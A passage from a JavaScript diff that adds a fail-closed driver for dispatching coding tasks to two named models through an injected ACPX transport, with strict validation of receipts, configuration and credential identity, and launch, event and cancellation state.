= Object.freeze; +const TIMING_SAFE_EQUAL = cryptoTimingSafeEqual; +const CREATE_HASH = nodeCreateHash; + +// --------------------------------------------------------------------------- +// Closed surface constants +// --------------------------------------------------------------------------- + +export const DSH_ACPX_DRIVER_SCHEMA_ID = 'codex-co-engineer.dsh-acpx-driver.v1'; +export const DSH_ACPX_DRIVER_VERSION = 1; +export const DSH_PROVIDER = 'dsh'; + +export const DSH_ALLOWED_MODELS = capturedFreeze([ + 'muse-spark-1.2-contributor', + 'stealth/ox-alpha', +]); + +// Informational identity data mirroring the shipped supervisor DSH routing. +// The injected port resolves real paths and credentials; this map never +// touches the filesystem and confers no authority by itself. +export const DSH_MODEL_IDENTITIES = capturedFreeze({ + 'muse-spark-1.2-contributor': capturedFreeze({ + config_file: 'dsh-acp.yml', + credential_env: 'MODEL_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_MODEL_API_KEY_FILE', + credential_file: 'model-api-key', + }), + 'stealth/ox-alpha': capturedFreeze({ + config_file: 'dsh-acp-ox-alpha.yml', + credential_env: 'OPENROUTER_API_KEY', + credential_file_env: 'CODEX_CO_ENGINEER_OPENROUTER_API_KEY_FILE', + credential_file: 'openrouter-api-key', + }), +}); + +// The one workspace posture this driver accepts: a local managed worktree +// anchored at the immutable run base SHA. Direct mode fails closed. +export const DSH_WORKSPACE_MODES = capturedFreeze(['managed']); + +export const DSH_ACPX_TRANSPORT_KEYS = capturedFreeze([ + 'cancel', 'configIdentity', 'events', 'poll', 'spawn', +]); + +const DSH_DRIVER_OPTION_KEYS = capturedFreeze(['now', 'transport', 'workspace_mode']); + +// Recorded-evidence vocabulary the injected port must project raw ACPX output +// into. `absent` means the port found no recorded evidence for the session. +export const DSH_EVIDENCE_STATES = capturedFreeze([ + 'absent', 'accepted', 'running', 'needs_attention', + 'completed', 'failed', 'cancelled', +]); +export const DSH_TERMINAL_EVIDENCE_STATES = capturedFreeze([ + 'completed', 'failed', 'cancelled', +]); +export const DSH_STOP_REASONS = capturedFreeze(['end_turn', 'cancelled', 'timeout', 'error']); +export const DSH_EVENT_KINDS = capturedFreeze([ + 'text_delta', 'thought_delta', 'tool_call', 'tool_call_update', + 'status', 'usage', 'attention', +]); +export const DSH_CANCEL_OUTCOMES = capturedFreeze([ + 'confirmed', 'requested', 'already_terminal', +]); +export const DSH_IDENTITY_UNAVAILABLE_REASONS = capturedFreeze([ + 'config_unavailable', 'credential_unavailable', +]); + +// Every detail_code this driver can emit. Codes and messages are fixed +// vocabulary; transports never author either. +export const DSH_DETAIL_CODES = capturedFreeze([ + 'already_terminal', + 'cancel_confirmed', + 'cancel_requested', + 'dsh_config_unavailable', + 'dsh_credential_unavailable', + 'dsh_transport_unavailable', + 'evidence_absent', + 'live_progress', + 'restart_evidence_absent', + 'terminal_evidence', + 'transport_prespawn_denied', + 'unresolved_attention', +]); + +// Bounds. Counts, cursors, text, lanes, attempts, operations, and clock +// readings above these bounds fail closed. +export const DSH_MAX_LANES = 64; +export const DSH_MAX_LAUNCH_ATTEMPTS = 2; +export const DSH_MAX_LANE_OPERATIONS = 256; +export const DSH_MAX_RECORDED_EVENTS = 1024; +export const DSH_MAX_EVENT_PAGE_RECORDS = 64; +export const DSH_MAX_EVENT_RECORD_BYTES = 4096; +export const DSH_MAX_CURSOR = 1_000_000_000; +export const DSH_MAX_SESSION_REF_BYTES = 128; +export const DSH_MAX_CONFIG_PATH_BYTES = 1024; +export const DSH_MAX_TIME_MS = 4102444800000; // 2100-01-01T00:00:00Z + +export const DSH_SESSION_REF_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/u; +export const DSH_QUESTION_REF_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._-]{0,79}$/u; +export const DSH_DIGEST_HEX_PATTERN = new RegExp(`^[0-9a-f]{${DIGEST_HEX_LENGTH}}$`, 'u'); +export const DSH_ABSOLUTE_PATH_PATTERN = /^\/[^\\%]*$/u; +export const DSH_TRANSPORT_ERROR_CODE_PATTERN = /^[a-z0-9][a-z0-9._-]{0,63}$/u; + +const DSH_IDENTITY_KEYS = capturedFreeze([ + 'config_path', 'config_sha256', 'credential_sha256', 'credential_source', 'ready', +]); +const DSH_IDENTITY_UNAVAILABLE_KEYS = capturedFreeze(['ready', 'reason']); +const DSH_DISPATCH_PAYLOAD_KEYS = capturedFreeze([ + 'assignment_id', 'attempted_at_ms', 'base_sha', 'child_envelope_digest', + 'envelope_text', 'lane_index', 'model', 'run_id', +]); +const DSH_POLL_REQUEST_KEYS = capturedFreeze(['correlation', 'session_ref']); +const DSH_CANCEL_REQUEST_KEYS = capturedFreeze(['correlation', 'session_ref']); +const DSH_EVENTS_REQUEST_KEYS = capturedFreeze([ + 'correlation', 'cursor', 'max_records', 'session_ref', +]); +const DSH_CORRELATION_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'child_envelope_digest', 'lane_index', 'model', 'run_id', +]); +const DSH_SPAWN_RECEIPT_KEYS = capturedFreeze(['observed_at_ms', 'session_ref']); +const DSH_IDENTITY_RECEIPT_KEYS = capturedFreeze([ + ...DSH_IDENTITY_KEYS, ...DSH_IDENTITY_UNAVAILABLE_KEYS, +]); +const DSH_EVIDENCE_RECEIPT_KEYS = capturedFreeze([ + 'assignment_id', 'base_sha', 'child_envelope_digest', 'cursor', 'event_count', + 'lane_index', 'model', 'question_ref', 'run_id', 'session_ref', 'state', + 'stop_reason', 'updated_at_ms', +]); +const DSH_EVENT_PAGE_KEYS = capturedFreeze(['next_cursor', 'records', 'truncated']); +const DSH_EVENT_RECORD_KEYS = capturedFreeze(['bytes', 'kind', 'seq']); +const DSH_CANCEL_RECEIPT_KEYS = capturedFreeze([...DSH_CORRELATION_KEYS, 'outcome', 'session_ref']); +const IDENTITY_DRIFT_FIELDS = capturedFreeze([ + 'config_path', 'config_sha256', 'credential_source', 'credential_sha256', +]); + +function laneKey(envelope) { + return `${envelope.run_id}\u0000${envelope.assignment_id}`; +} + +// Hash-then-compare keeps the comparison constant time without leaking length. +function constantTimeEqual(left, right) { + if (typeof left !== 'string' || typeof right !== 'string') return false; + const leftBytes = Buffer.from(CREATE_HASH('sha256').update(left, 'utf8').digest(), 'hex'); + const rightBytes = Buffer.from(CREATE_HASH('sha256').update(right, 'utf8').digest(), 'hex'); + return TIMING_SAFE_EQUAL(leftBytes, rightBytes); +} + +// --------------------------------------------------------------------------- +// Declaration: the honest DSH posture, hard-bound at construction +// --------------------------------------------------------------------------- + +function buildDshAcpDeclarationV1() { + const declaration = { + schema: DRIVER_DECLARATION_SCHEMA_ID, + capability: { + schema: PROVIDER_CAPABILITIES_BRIDGE_SCHEMA_ID, + artifact_kinds: ['provider_report'], + create_pr_posture: 'prohibited', + dispatch_certainty: 'uncertain_after_spawn', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + notes: 'DSH ACPX one-shot flow for Muse Spark 1.2 Contributor or Ox Alpha. ' + + 'ACPX gives no authoritative prompt-sent acknowledgement, so launches stay ' + + 'uncertain after spawn and are never replayed. Same-session reply is ' + + 'unsupported; attention surfaces unresolved instead of starting a ' + + 'replacement prompt or session.', + provider: DSH_PROVIDER, + replay_posture: 'never_replay', + revision: 'p20.dsh-acpx.1', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }, + features: { + cancellation: 'supported', + detailed_events: 'supported', + live_progress: 'supported', + restart: 'reconcile_reattach_only', + }, + }; + const validated = validateDriverDeclarationV1(declaration); + // Belt and braces: the declaration this module ships must keep asserting the + // exact DSH truth even if the literal above is ever edited. + assertCapabilityRequirementV1(validated, { + create_pr_posture: 'prohibited', + dispatch_certainty: 'uncertain_after_spawn', + exact_model_selection: 'exact_and_attested', + merge_authority: 'none_codex_only_integration', + replay_posture: 'never_replay', + same_session_reply: 'unsupported_unresolved_attention', + workspace_semantics: 'local_managed_worktree', + workspace_starting_point: 'run_base_sha', + }); + return validated; +} + +// --------------------------------------------------------------------------- +// Injected transport port validation +// --------------------------------------------------------------------------- + +export function assertDshAcpTransportV1(transport) { + const path = 'dsh_transport'; + assertNotProxy(transport, path); + if (!isPlainObject(transport)) { + if (typeof transport === 'object' && transport !== null && !Array.isArray(transport)) { + fail('exotic_prototype_denied', path, + `${path} must use the standard or null object prototype; exotic prototypes are denied.`); + } + fail('invalid_type', path, + `${path} must be a plain record of exactly five concrete synchronous functions.`); + } + const entries = assertJsonDataObject(transport, path); + const expected = new Set(DSH_ACPX_TRANSPORT_KEYS); + if (entries.length !== DSH_ACPX_TRANSPORT_KEYS.length + || entries.some(({ key }) => !expected.has(key))) { + const received = entries.map(({ key }) => key).join(', ') || 'none'; + fail('invalid_surface', path, + `${path} must expose exactly ${capturedJoin(DSH_ACPX_TRANSPORT_KEYS, ', ')}; received ${received}.`); + } + for (const { key, value } of entries) { + if (typeof value !== 'function' || IS_PROXY(value)) { + fail('invalid_operation', `${path}.${key}`, + `${path}.${key} must be a concrete synchronous transport function.`); + } + } + return capturedFreeze({ + keys: [...DSH_ACPX_TRANSPORT_KEYS], + mode: 'injected_bounded_one_shot_port', + schema: DSH_ACPX_DRIVER_SCHEMA_ID, + }); +} + +// --------------------------------------------------------------------------- +// Receipt validation (recorded ACPX evidence projected by the port) +// --------------------------------------------------------------------------- + +function assertReceiptObject(value, keys, label) { + const path = `dsh_transport.${label}`; + assertDirectJsonClosure(value, path); + assertPlainObject(value, 'invalid_type', path, path); + assertAllowedKeys(value, keys, path); +} + +function assertHexDigest(value, path) { + if (typeof value !== 'string' || !capturedTest(DSH_DIGEST_HEX_PATTERN, value)) { + fail('invalid_format', path, + `${path} must be a raw lowercase ${DIGEST_HEX_LENGTH}-hex sha256 digest.`); + } +} + +function assertBoundedInteger(value, min, max, path, label) { + if (!Number.isInteger(value) || value < min || value > max) { + fail('invalid_format', path, + `${path} must be an integer from ${min} to ${max}; ${label} outside its bound fails closed.`); + } +} + +function assertClosedValue(value, vocabulary, path, label) { + if (!capturedIncludes(vocabulary, value)) { + fail('invalid_format', path, + `${path} must be exactly one of ${capturedJoin(vocabulary, ', ')}; ${label} is denied.`); + } +} + +export function validateDshConfigIdentityV1(value, model) { + if (!capturedIncludes(DSH_ALLOWED_MODELS, model)) { + fail('dsh_model_denied', 'dsh_transport.config_identity.model', + `The DSH model must be exactly one of ${capturedJoin(DSH_ALLOWED_MODELS, ', ')}.`); + } + assertReceiptObject(value, DSH_IDENTITY_RECEIPT_KEYS, 'config_identity'); + const ready = optOwn(value, 'ready'); + if (ready !== true && ready !== false) { + fail('invalid_format', 'dsh_transport.config_identity.ready', + 'dsh_transport.config_identity.ready must be a primitive boolean.'); + } + if (ready === false) { + if (hasOwn(value, 'reason')) { + assertClosedValue(optOwn(value, 'reason'), DSH_IDENTITY_UNAVAILABLE_REASONS, + 'dsh_transport.config_identity.reason', 'identity-unavailability reason'); + return freezeData({ ready: false, reason: optOwn(value, 'reason') }); + } + return freezeData({ ready: false, reason: null }); + } + if (hasOwn(value, 'reason')) { + fail('invalid_format', 'dsh_transport.config_identity.reason', + 'A ready DSH config identity carries no unavailability reason.'); + } + for (const key of ['config_path', 'config_sha256', 'credential_source', 'credential_sha256']) { + if (!hasOwn(value, key)) { + fail('missing_key', `dsh_transport.config_identity.${key}`, + `A ready DSH config identity must declare ${key}; partial identity is a guess.`); + } + } + const configPath = optOwn(value, 'config_path'); + assertBoundedText(configPath, { + min: 1, max: DSH_MAX_CONFIG_PATH_BYTES, allowBlank: true, + path: 'dsh_transport.config_identity.config_path', label: 'config_path', + }); + if (!capturedTest(DSH_ABSOLUTE_PATH_PATTERN, configPath)) { + fail('invalid_format', 'dsh_transport.config_identity.config_path', + 'dsh_transport.config_identity.config_path must be an absolute POSIX-style path.'); + } + assertHexDigest(optOwn(value, 'config_sha256'), 'dsh_transport.config_identity.config_sha256'); + const credentialSource = optOwn(value, 'credential_source'); + assertClosedValue(credentialSource, ['env', 'file'], + 'dsh_transport.config_identity.credential_source', 'credential source'); + assertHexDigest(optOwn(value, 'credential_sha256'), 'dsh_transport.config_identity.credential_sha256'); + return freezeData({ + config_path: configPath, + config_sha256: optOwn(value, 'config_sha256'), + credential_sha256: optOwn(value, 'credential_sha256'), + credential_source: credentialSource, + ready: true, + reason: null, + }); +} + +function assertIdentityUnchanged(current, prior, operation) { + if (!current.ready) { + fail('dsh_identity_unavailable', `driver.${operation}.request`, + 'The DSH config identity became unavailable after preflight; the lane fails closed.'); + } + for (const key of IDENTITY_DRIFT_FIELDS) { + if (!constantTimeEqual(current[key], prior[key])) { + fail('dsh_identity_drift', `driver.${operation}.request.${key}`, + `The exact ${key} drifted from the identity recorded at DSH preflight; ` + + 'model/config/credential drift fails the lane closed.'); + } + } +} + +function validateSpawnReceiptV1(value) { + assertReceiptObject(value, DSH_SPAWN_RECEIPT_KEYS, 'spawn_receipt'); + const sessionRef = optOwn(value, 'session_ref'); + assertBoundedText(sessionRef, { + min: 1, max: DSH_MAX_SESSION_REF_BYTES, + path: 'dsh_transport.spawn_receipt.session_ref', label: 'session_ref', + }); + if (!capturedTest(DSH_SESSION_REF_PATTERN, sessionRef)) { + fail('invalid_format', 'dsh_transport.spawn_receipt.session_ref', + `dsh_transport.spawn_receipt.session_ref violates ${DSH_SESSION_REF_PATTERN.source}.`); + } + if (hasOwn(value, 'observed_at_ms')) { + assertBoundedInteger(optOwn(value, 'observed_at_ms'), 0, DSH_MAX_TIME_MS, + 'dsh_transport.spawn_receipt.observed_at_ms', 'observed_at_ms'); + } + return freezeData({ session_ref: sessionRef }); +} + +function correlationFor(lane) { + return freezeData({ + assignment_id: lane.assignment_id, + base_sha: lane.base_sha, + child_envelope_digest: lane.child_envelope_digest, + lane_index: lane.lane_index, + model: lane.model, + run_id: lane.run_id, + }); +} + +function assertReceiptCorrelation(receipt, lane, pathPrefix) { + for (const key of DSH_CORRELATION_KEYS) { + const actual = optOwn(receipt, key); + const expected = lane[key]; + const equal = key === 'child_envelope_digest' + ? constantTimeEqual(actual, expected) + : actual === expected; + if (!equal) { + fail('dsh_correlation_mismatch', `${pathPrefix}.${key}`, + `Recorded ACPX evidence carries a ${key} that does not match this lane's exact ` + + 'child identity; task/session correlation fails closed.'); + } + } + if (!constantTimeEqual(optOwn(receipt, 'session_ref'), lane.dispatch.session_ref)) { + fail('dsh_correlation_mismatch', `${pathPrefix}.session_ref`, + 'Recorded ACPX evidence names a different session than this lane dispatched; ' + + 'correlation fails closed.'); + } +} + +function validateEvidenceReceiptV1(value, lane) { + assertReceiptObject(value, DSH_EVIDENCE_RECEIPT_KEYS, 'poll_receipt'); + assertReceiptCorrelation(value, lane, 'dsh_transport.poll_receipt'); + const state = optOwn(value, 'state'); + assertClosedValue(state, DSH_EVIDENCE_STATES, 'dsh_transport.poll_receipt.state', 'evidence state'); + const stopReasonPresent = hasOwn(value, 'stop_reason'); + if (stopReasonPresent) { + if (!capturedIncludes(DSH_TERMINAL_EVIDENCE_STATES, state)) { + fail('invalid_format', 'dsh_transport.poll_receipt.stop_reason', + 'stop_reason is only valid on terminal recorded evidence.'); + } + assertClosedValue(optOwn(value, 'stop_reason'), DSH_STOP_REASONS, + 'dsh_transport.poll_receipt.stop_reason', 'stop_reason'); + } + const questionPresent = hasOwn(value, 'question_ref'); + if (questionPresent) { + if (state !== 'needs_attention') { + fail('invalid_format', 'dsh_transport.poll_receipt.question_ref', + 'question_ref is only valid on needs_attention recorded evidence.'); + } + const questionRef = optOwn(value, 'question_ref'); + if (typeof questionRef !== 'string' || !capturedTest(DSH_QUESTION_REF_PATTERN, questionRef)) { + fail('invalid_format', 'dsh_transport.poll_receipt.question_ref', + `dsh_transport.poll_receipt.question_ref violates ${DSH_QUESTION_REF_PATTERN.source}.`); + } + } + assertBoundedInteger(optOwn(value, 'event_count'), 0, DSH_MAX_RECORDED_EVENTS, + 'dsh_transport.poll_receipt.event_count', 'event_count'); + assertBoundedInteger(optOwn(value, 'cursor'), 0, DSH_MAX_CURSOR, + 'dsh_transport.poll_receipt.cursor', 'cursor'); + assertBoundedInteger(optOwn(value, 'updated_at_ms'), 0, DSH_MAX_TIME_MS, + 'dsh_transport.poll_receipt.updated_at_ms', 'updated_at_ms'); + return freezeData({ + cursor: optOwn(value, 'cursor'), + event_count: optOwn(value, 'event_count'), + question_ref: questionPresent ? optOwn(value, 'question_ref') : null, + state, + stop_reason: stopReasonPresent ? optOwn(value, 'stop_reason') : null, + updated_at_ms: optOwn(value, 'updated_at_ms'), + }); +} + +function validateEventPageV1(value, request) { + assertReceiptObject(value, DSH_EVENT_PAGE_KEYS, 'event_page'); + const records = optOwn(value, 'records'); + assertDenseJsonArray(records, 'dsh_transport.event_page.records'); + if (records.length > request.max_records) { + fail('event_page_overbound', 'dsh_transport.event_page.records', + `The event page returned ${records.length} records while the driver bounded the page ` + + `to ${request.max_records}.`); + } + let previousSeq = request.cursor; + const normalized = []; + for (let index = 0; index < records.length; index += 1) { + const path = `dsh_transport.event_page.records[${index}]`; + const record = records[index]; + assertDirectJsonClosure(record, path); + assertPlainObject(record, 'invalid_type', path, path); + assertAllowedKeys(record, DSH_EVENT_RECORD_KEYS, path); + const seq = optOwn(record, 'seq'); + assertBoundedInteger(seq, 0, DSH_MAX_CURSOR, `${path}.seq`, 'seq'); + if (seq <= previousSeq) { + fail('invalid_format', `${path}.seq`, + 'Event page sequence numbers must strictly increase past the requested cursor.'); + } + const kind = optOwn(record, 'kind'); + assertClosedValue(kind, DSH_EVENT_KINDS, `${path}.kind`, 'event kind'); + assertBoundedInteger(optOwn(record, 'bytes'), 0, DSH_MAX_EVENT_RECORD_BYTES, `${path}.bytes`, 'bytes'); + previousSeq = seq; + normalized.push(freezeData({ bytes: optOwn(record, 'bytes'), kind, seq })); + } + const nextCursor = optOwn(value, 'next_cursor'); + assertBoundedInteger(nextCursor, 0, DSH_MAX_CURSOR, 'dsh_transport.event_page.next_cursor', 'next_cursor'); + if (nextCursor < previousSeq) { + fail('invalid_format', 'dsh_transport.event_page.next_cursor', + 'next_cursor must not move backwards past the last returned record.'); + } + const truncated = optOwn(value, 'truncated'); + if (typeof truncated !== 'boolean') { + fail('invalid_format', 'dsh_transport.event_page.truncated', + 'dsh_transport.event_page.truncated must be a primitive boolean.'); + } + return freezeData({ next_cursor: nextCursor, records: normalized, truncated }); +} + +function validateCancelReceiptV1(value, lane) { + assertReceiptObject(value, DSH_CANCEL_RECEIPT_KEYS, 'cancel_receipt'); + assertReceiptCorrelation(value, lane, 'dsh_transport.cancel_receipt'); + const outcome = optOwn(value, 'outcome'); + assertClosedValue(outcome, DSH_CANCEL_OUTCOMES, 'dsh_transport.cancel_receipt.outcome', 'cancel outcome'); + return freezeData({ outcome }); +} + +function isProvablyPreSpawn(error) { + if (error === null || typeof error !== 'object') return false; + try { + if (IS_PROXY(error)) return false; + const prototype = Object.getPrototypeOf(error); + if (prototype !== Error.prototype && prototype !== Object.prototype) return false; + const phase = Object.getOwnPropertyDescriptor(error, 'phase'); + if (!phase || phase.get !== undefined || phase.value !== 'prespawn') return false; + const code = Object.getOwnPropertyDescriptor(error, 'code'); + return Boolean(code && code.get === undefined + && typeof code.value === 'string' + && capturedTest(DSH_TRANSPORT_ERROR_CODE_PATTERN, code.value)); + } catch { + return false; + } +} + +function isTypedContractError(error) { + return error instanceof Error && error.name === 'RunContractV1Error'; +} + +// --------------------------------------------------------------------------- +// Driver construction +// --------------------------------------------------------------------------- + +export function createDshApxDriverV1(options) { + const optionsPath = 'dsh_driver_options'; + assertNotProxy(options, optionsPath); + if (options === undefined || options === null || !isPlainObject(options)) { + fail('invalid_type', optionsPath, + `${optionsPath} must be a plain object carrying transport and workspace_mode.`); + } + assertAllowedKeys(options, DSH_DRIVER_OPTION_KEYS, optionsPath); + for (const key of ['transport', 'workspace_mode']) { + if (!hasOwn(options, key)) { + fail('missing_key', `${optionsPath}.${key}`, + `${optionsPath}.${key} is required; the driver inherits no hidden transport or workspace default.`); + } + } + const transport = optOwn(options, 'transport'); + assertDshAcpTransportV1(transport); + + const workspaceMode = optOwn(options, 'workspace_mode'); + if (!capturedIncludes(DSH_WORKSPACE_MODES, workspaceMode)) { + fail('direct_mode_rejected', `${optionsPath}.workspace_mode`, + `${optionsPath}.workspace_mode must be exactly "managed"; direct mode and every other ` + + 'workspace semantics fail closed for DSH runs.'); + } + + let clock = Date.now.bind(Date); + if (hasOwn(options, 'now')) { + const provided = optOwn(options, 'now'); + if (typeof provided !== 'function' || IS_PROXY(provided)) { + fail('invalid_type', `${optionsPath}.now`, + `${optionsPath}.now must be a concrete clock function.`); + } + clock = provided; + } + + const declaration = buildDshAcpDeclarationV1(); + const lanes = new MAP_CTOR(); + + function nowMs(operation) { + let value; + try { + value = clock(); + } catch { + value = Number.NaN; + } + assertBoundedInteger(value, 0, DSH_MAX_TIME_MS, + `driver.${operation}.request.clock`, 'clock reading'); + return value; + } + + function callTransport(name, argument) { + return transport[name].call(transport, argument); + } + + function existingLane(envelope) { + return lanes.get(laneKey(envelope)); + } + + function beginOperation(lane, operation, timestamp) { + if (!Number.isInteger(lane.operation_count + 1) + || lane.operation_count + 1 > DSH_MAX_LANE_OPERATIONS) { + fail('operation_budget_exceeded', `driver.${operation}.request`, + `At most ${DSH_MAX_LANE_OPERATIONS} driver operations are permitted per DSH lane; ` + + 'the budget fails closed.'); + } + if (timestamp < lane.observed_at_ms) { + fail('timing_regression_denied', `driver.${operation}.request.clock`, + 'Clock time moved backwards on a live DSH lane; timing regressions fail closed.'); + } + } + + function advance(lane, patch, timestamp) { + return freezeData({ + ...lane, + ...patch, + observed_at_ms: Math.max(lane.observed_at_ms, timestamp), + operation_count: lane.operation_count + 1, + }); + } + + function assertDshBinding(envelope, operation) { + if (envelope.execution.provider !== DSH_PROVIDER) { + fail('provider_slot_mismatch', `driver.${operation}.request.envelope_text`, + `The DSH ACPX driver binds provider "${DSH_PROVIDER}" exactly; cross-provider ` + + 'substitution fails closed.'); + } + const model = envelope.execution.model; + if (!capturedIncludes(DSH_ALLOWED_MODELS, model)) { + fail('dsh_model_denied', `driver.${operation}.request.envelope_text`, + `The DSH ACPX driver binds exactly ${capturedJoin(DSH_ALLOWED_MODELS, ', ')}; ` + + 'every other model fails closed.'); + } + return model; + } + + function requireKnownLane(envelope, model, request, operation) { + const prior = existingLane(envelope); + if (prior === undefined) { + fail('not_preflighted', `driver.${operation}.request`, + 'No DSH preflight identity exists for this exact child lane.'); + } + if (!constantTimeEqual(prior.child_envelope_digest, request.child_envelope_digest)) { + fail('stale_identity_denied', `driver.${operation}.request.child_envelope_digest`, + 'The request digest does not match the child recorded at DSH preflight.'); + } + if (prior.model !== model) { + fail('dsh_model_drift', `driver.${operation}.request.envelope_text`, + 'The envelope model differs from the exact model recorded at DSH preflight.'); + } + return prior; + } + + function currentIdentity(model, operation) { + return validateDshConfigIdentityV1( + callTransport('configIdentity', freezeData({ model })), model); + } + + function baseResult(operation, request, envelope, disposition) { + return { + schema: DRIVER_RESULT_SCHEMA_IDS[operation], + version: PROVIDER_DRIVER_VERSION, + run_id: envelope.run_id, + assignment_id: envelope.assignment_id, + lane_index: envelope.lane_index, + base_sha: envelope.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + disposition, + }; + } + + // Content-free diagnostics: fragments combine closed-vocabulary words and + // integers already validated against bounds. Nothing a provider or a hostile + // transport authored can reach a detail message. + function withDetail(result, code, fragments) { + return { ...result, detail_code: code, detail_message: fragments.join(' ') }; + } + + function progressFragments(lane, extra = []) { + return [ + `events=${lane.events_seen}`, + `cursor=${lane.cursor}`, + `truncated=${lane.events_truncated ? 'true' : 'false'}`, + ...extra, + ]; + } + + function requireDispatch(lane, operation) { + if (lane.dispatch.state !== 'spawn_accepted' && lane.dispatch.state !== 'intent_only') { + fail('not_dispatched', `driver.${operation}.request`, + 'This DSH lane holds no dispatch intent to reconcile or cancel.'); + } + } + + function readIdentityOrBlocked(request, envelope, model) { + try { + return { identity: currentIdentity(model, 'preflight'), error: null }; + } catch (error) { + // Malformed or forged identity receipts fail closed with their typed + // codes; only genuine probe loss degrades to an honest blocked result. + if (isTypedContractError(error)) throw error; + return { + identity: null, + error: withDetail(baseResult('preflight', request, envelope, 'blocked'), + 'dsh_transport_unavailable', ['transport=configIdentity', `model=${model}`]), + }; + } + } + + // --- preflight ------------------------------------------------------------- + + function preflight(request) { + const operation = 'preflight'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const timestamp = nowMs(operation); + const prior = existingLane(envelope); + if (prior === undefined && lanes.size >= DSH_MAX_LANES) { + fail('lane_budget_exceeded', `driver.${operation}.request`, + `At most ${DSH_MAX_LANES} DSH lanes may exist per process; the lane budget fails closed.`); + } + const probed = readIdentityOrBlocked(request, envelope, model); + if (probed.error) return probed.error; + const identity = probed.identity; + if (!identity.ready) { + const code = identity.reason === 'credential_unavailable' + ? 'dsh_credential_unavailable' + : 'dsh_config_unavailable'; + return withDetail(baseResult(operation, request, envelope, 'blocked'), + code, [`reason=${identity.reason ?? 'unknown'}`, `model=${model}`]); + } + beginOperation(prior ?? freezeData({ observed_at_ms: timestamp, operation_count: 0 }), operation, timestamp); + lanes.set(laneKey(envelope), freezeData({ + assignment_id: envelope.assignment_id, + base_sha: envelope.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + cursor: 0, + dispatch: freezeData({ receipt_valid: false, session_ref: null, state: 'none' }), + events_seen: 0, + events_truncated: false, + identity, + launch_attempts: prior?.launch_attempts ?? 0, + lane_index: envelope.lane_index, + model, + observed_at_ms: Math.max(prior?.observed_at_ms ?? timestamp, timestamp), + operation_count: (prior?.operation_count ?? 0) + 1, + run_id: envelope.run_id, + })); + return baseResult(operation, request, envelope, 'ready'); + } + + // --- launch ---------------------------------------------------------------- + + function launch(request) { + const operation = 'launch'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const lane = requireKnownLane(envelope, model, request, operation); + const timestamp = nowMs(operation); + beginOperation(lane, operation, timestamp); + + // Exact model/config/credential identity must still hold immediately + // before spawn. Drift throws before anything is sent, so failing closed + // here can never leave a half-dispatched lane behind. Any other probe + // failure is equally provably pre-spawn: the spawn call was never made. + try { + assertIdentityUnchanged(currentIdentity(model, operation), lane.identity, operation); + } catch (error) { + if (isTypedContractError(error)) throw error; + lanes.set(laneKey(envelope), advance(lane, { + dispatch: freezeData({ receipt_valid: false, session_ref: null, state: 'not_sent' }), + launch_attempts: lane.launch_attempts + 1, + }, timestamp)); + return withDetail(baseResult(operation, request, envelope, 'not_sent'), + 'transport_prespawn_denied', ['probe=configIdentity', `model=${model}`]); + } + + if (lane.launch_attempts >= DSH_MAX_LAUNCH_ATTEMPTS) { + fail('launch_budget_exceeded', `driver.${operation}.request`, + `At most ${DSH_MAX_LAUNCH_ATTEMPTS} launch attempts are permitted per DSH lane; ` + + 'the budget fails closed.'); + } + + const payload = freezeData({ + assignment_id: envelope.assignment_id, + attempted_at_ms: timestamp, + base_sha: envelope.repository.base_sha, + child_envelope_digest: request.child_envelope_digest, + envelope_text: request.envelope_text, + lane_index: envelope.lane_index, + model, + run_id: envelope.run_id, + }); + assertAllowedKeys(payload, DSH_DISPATCH_PAYLOAD_KEYS, `driver.${operation}.payload`); + + // Spawn intent begins here. Everything after this point resolves to an + // honest disposition and never throws, so the P17 lane state always lands + // in a possibly-sent state and no duplicate launch can follow. + try { + const receipt = validateSpawnReceiptV1(callTransport('spawn', payload)); + lanes.set(laneKey(envelope), advance(lane, { + dispatch: freezeData({ receipt_valid: true, session_ref: receipt.session_ref, state: 'spawn_accepted' }), + launch_attempts: lane.launch_attempts + 1, + }, timestamp)); + // No authoritative prompt-sent acknowledgement exists, so the posture + // stays uncertain_after_spawn even when the port accepted the spawn. + return baseResult(operation, request, envelope, 'dispatch_uncertain'); + } catch (error) { + const provablyPrespawn = isProvablyPreSpawn(error); + lanes.set(laneKey(envelope), advance(lane, { + dispatch: freezeData({ + receipt_valid: false, + session_ref: null, + state: provablyPrespawn ? 'not_sent' : 'intent_only', + }), + launch_attempts: lane.launch_attempts + 1, + }, timestamp)); + if (provablyPrespawn) { + return withDetail(baseResult(operation, request, envelope, 'not_sent'), + 'transport_prespawn_denied', [`code=${optOwn(error, 'code')}`]); + } + // Exception or loss after spawn intent stays dispatch_uncertain forever: + // never replayed, retried, or fallback-substituted. + return baseResult(operation, request, envelope, 'dispatch_uncertain'); + } + } + + // --- reconcile --------------------------------------------------------------- + + function applyEventPage(lane, includeCount, operation) { + if (!includeCount) return lane; + const remaining = DSH_MAX_RECORDED_EVENTS - lane.events_seen; + if (remaining <= 0) return freezeData({ ...lane, events_truncated: true }); + const pageRequest = freezeData({ + correlation: correlationFor(lane), + cursor: lane.cursor, + max_records: Math.min(DSH_MAX_EVENT_PAGE_RECORDS, remaining), + session_ref: lane.dispatch.session_ref, + }); + let page; + try { + page = validateEventPageV1(callTransport('events', pageRequest), pageRequest); + } catch (error) { + if (isTypedContractError(error)) throw error; + fail('dsh_events_unavailable', `driver.${operation}.request.include`, + 'The recorded ACPX event page could not be read; the reconcile fails closed instead of guessing.'); + } + return freezeData({ + ...lane, + cursor: Math.max(lane.cursor, page.next_cursor), + events_seen: Math.min(DSH_MAX_RECORDED_EVENTS, lane.events_seen + page.records.length), + events_truncated: lane.events_truncated || page.truncated, + }); + } + + function reconcile(request) { + const operation = 'reconcile'; + const envelope = parseChildEnvelopeV1(request.envelope_text); + const model = assertDshBinding(envelope, operation); + const lane = requireKnownLane(envelope, model, request, operation); + const timestamp = nowMs(operation); + beginOperation(lane, operation, timestamp); + requireDispatch(lane, 